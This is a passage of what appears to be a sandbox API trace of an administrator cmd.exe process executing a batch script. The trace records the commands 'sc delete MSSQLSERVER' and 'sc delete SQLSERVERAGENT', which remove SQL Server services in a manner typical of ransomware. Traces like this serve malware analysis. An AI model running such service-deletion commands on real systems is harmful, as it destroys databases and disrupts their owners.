lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.263] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.263] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32a, cchWideChar=1 | out: lpWideCharStr="lete MSSQLSERVER\nher\nce\n") returned 1 [0074.263] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.263] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.263] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.263] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32c, cchWideChar=1 | out: lpWideCharStr="ete MSSQLSERVER\nher\nce\n") returned 1 [0074.263] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.263] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.263] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.263] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32e, cchWideChar=1 | out: lpWideCharStr="te MSSQLSERVER\nher\nce\n") returned 1 [0074.263] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.263] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.263] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.263] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e330, cchWideChar=1 | out: lpWideCharStr="e MSSQLSERVER\nher\nce\n") returned 1 [0074.263] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.263] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.263] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.263] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e332, cchWideChar=1 | out: lpWideCharStr=" MSSQLSERVER\nher\nce\n") returned 1 [0074.263] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.263] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.263] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.263] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e334, cchWideChar=1 | out: lpWideCharStr="SSSQLSERVER\nher\nce\n") returned 1 [0074.263] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.264] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.264] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.264] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e336, cchWideChar=1 | out: lpWideCharStr="QSQLSERVER\nher\nce\n") returned 1 [0074.264] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.264] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.264] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.264] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e338, cchWideChar=1 | out: lpWideCharStr="LQLSERVER\nher\nce\n") returned 1 [0074.264] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.264] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.264] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.264] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33a, cchWideChar=1 | out: lpWideCharStr="SLSERVER\nher\nce\n") returned 1 [0074.264] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.264] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.264] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.264] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33c, cchWideChar=1 | out: lpWideCharStr="ESERVER\nher\nce\n") returned 1 [0074.264] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.264] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.264] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.264] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33e, cchWideChar=1 | out: lpWideCharStr="RERVER\nher\nce\n") returned 1 [0074.264] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.264] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.264] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.264] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e340, cchWideChar=1 | out: lpWideCharStr="VRVER\nher\nce\n") returned 1 [0074.264] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.264] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.265] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.265] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e342, cchWideChar=1 | out: lpWideCharStr="EVER\nher\nce\n") returned 1 [0074.265] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.265] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.265] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.265] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e344, cchWideChar=1 | out: lpWideCharStr="RER\nher\nce\n") returned 1 [0074.265] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.265] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.265] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.265] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e346, cchWideChar=1 | out: lpWideCharStr="AR\nher\nce\n") returned 1 [0074.265] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.265] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.265] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.265] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e348, cchWideChar=1 | out: lpWideCharStr="G\nher\nce\n") returned 1 [0074.265] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.265] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.265] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.265] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34a, cchWideChar=1 | out: lpWideCharStr="Eher\nce\n") returned 1 [0074.265] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.265] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.266] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.266] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34c, cchWideChar=1 | out: lpWideCharStr="Ner\nce\n") returned 1 [0074.266] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.266] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.266] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.266] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34e, cchWideChar=1 | out: lpWideCharStr="Tr\nce\n") returned 1 [0074.266] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.266] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.266] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.266] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e350, cchWideChar=1 | out: lpWideCharStr="\n\nce\n") returned 1 [0074.266] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.266] GetFileType (hFile=0xb8) returned 0x3 [0074.266] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.266] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.266] _get_osfhandle (_FileHandle=1) returned 0x120 [0074.266] GetFileType (hFile=0x120) returned 0x3 [0074.266] _get_osfhandle (_FileHandle=1) returned 0x120 [0074.266] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete SQLSERVERAGENT\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete SQLSERVERAGENT\n", lpUsedDefaultChar=0x0) returned 26 [0074.266] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x19, lpNumberOfBytesWritten=0x1afab8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1afab8*=0x19, lpOverlapped=0x0) returned 1 [0074.267] GetProcessHeap () returned 0x240000 [0074.267] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4012) returned 0x264630 [0074.267] GetProcessHeap () returned 0x240000 [0074.267] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264630 | out: hHeap=0x240000) returned 1 [0074.267] GetProcessHeap () returned 0x240000 [0074.267] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0) returned 0x2597e0 [0074.267] GetProcessHeap () returned 0x240000 [0074.267] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x16) returned 0x2589b0 [0074.268] GetProcessHeap () returned 0x240000 [0074.268] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x3e) returned 0x25aa40 [0074.268] GetConsoleOutputCP () returned 0x1b5 [0074.268] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0074.268] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0074.269] GetConsoleTitleW (in: lpConsoleTitle=0x1afa70, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0074.269] GetProcessHeap () returned 0x240000 [0074.269] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x259910 [0074.269] GetProcessHeap () returned 0x240000 [0074.269] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x44) returned 0x25aa90 [0074.269] GetProcessHeap () returned 0x240000 [0074.269] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x420) returned 0x25c530 [0074.269] SetErrorMode (uMode=0x0) returned 0x1 [0074.269] SetErrorMode (uMode=0x1) returned 0x0 [0074.269] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x25c540, lpFilePart=0x1af300 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1af300*="Desktop") returned 0x25 [0074.269] SetErrorMode (uMode=0x1) returned 0x1 [0074.269] GetProcessHeap () returned 0x240000 [0074.269] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x25c530, Size=0x62) returned 0x25c530 [0074.269] GetProcessHeap () returned 0x240000 [0074.270] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c530) returned 0x62 [0074.270] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0074.270] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0074.270] GetProcessHeap () returned 0x240000 [0074.270] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x128) returned 0x255b70 [0074.270] GetProcessHeap () returned 0x240000 [0074.270] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x240) returned 0x241ab0 [0074.270] GetProcessHeap () returned 0x240000 [0074.270] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x241ab0, Size=0x12a) returned 0x241ab0 [0074.270] GetProcessHeap () returned 0x240000 [0074.270] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x241ab0) returned 0x12a [0074.270] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0074.270] GetProcessHeap () returned 0x240000 [0074.270] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xe8) returned 0x259b30 [0074.270] GetProcessHeap () returned 0x240000 [0074.270] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259b30, Size=0x7e) returned 0x259b30 [0074.270] GetProcessHeap () returned 0x240000 [0074.270] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259b30) returned 0x7e [0074.270] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0074.270] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0074.271] GetLastError () returned 0x2 [0074.271] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0074.271] GetLastError () returned 0x2 [0074.271] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0074.271] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0074.271] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0074.271] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0074.271] GetLastError () returned 0x2 [0074.272] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0074.272] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0074.272] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0074.272] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0074.272] GetConsoleTitleW (in: lpConsoleTitle=0x1af5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0074.272] GetProcessHeap () returned 0x240000 [0074.272] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x21c) returned 0x259180 [0074.272] GetConsoleTitleW (in: lpConsoleTitle=0x259190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0074.272] GetProcessHeap () returned 0x240000 [0074.272] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259180, Size=0xaa) returned 0x259180 [0074.272] GetProcessHeap () returned 0x240000 [0074.272] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259180) returned 0xaa [0074.272] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete SQLSERVERAGENT") returned 1 [0074.273] GetProcessHeap () returned 0x240000 [0074.273] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259180 | out: hHeap=0x240000) returned 1 [0074.273] InitializeProcThreadAttributeList (in: lpAttributeList=0x1af378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1af338 | out: lpAttributeList=0x1af378, lpSize=0x1af338) returned 1 [0074.273] UpdateProcThreadAttribute (in: lpAttributeList=0x1af378, dwFlags=0x0, Attribute=0x60001, lpValue=0x1af328, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1af378, lpPreviousValue=0x0) returned 1 [0074.273] GetStartupInfoW (in: lpStartupInfo=0x1af490 | out: lpStartupInfo=0x1af490*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0074.273] GetProcessHeap () returned 0x240000 [0074.273] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x254610 [0074.273] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0074.273] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0074.273] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0074.273] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0074.273] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0074.274] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0074.274] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0074.274] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0074.274] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0074.274] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0074.274] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0074.274] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0074.274] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0074.274] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0074.274] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0074.274] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0074.274] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0074.274] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0074.274] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0074.274] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0074.274] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0074.274] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0074.274] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0074.274] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0074.274] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0074.275] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0074.275] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0074.275] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0074.275] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0074.275] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0074.275] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0074.275] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0074.275] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0074.275] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0074.275] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0074.275] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0074.275] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0074.275] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0074.275] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0074.275] GetProcessHeap () returned 0x240000 [0074.275] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x254610 | out: hHeap=0x240000) returned 1 [0074.275] GetProcessHeap () returned 0x240000 [0074.275] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, 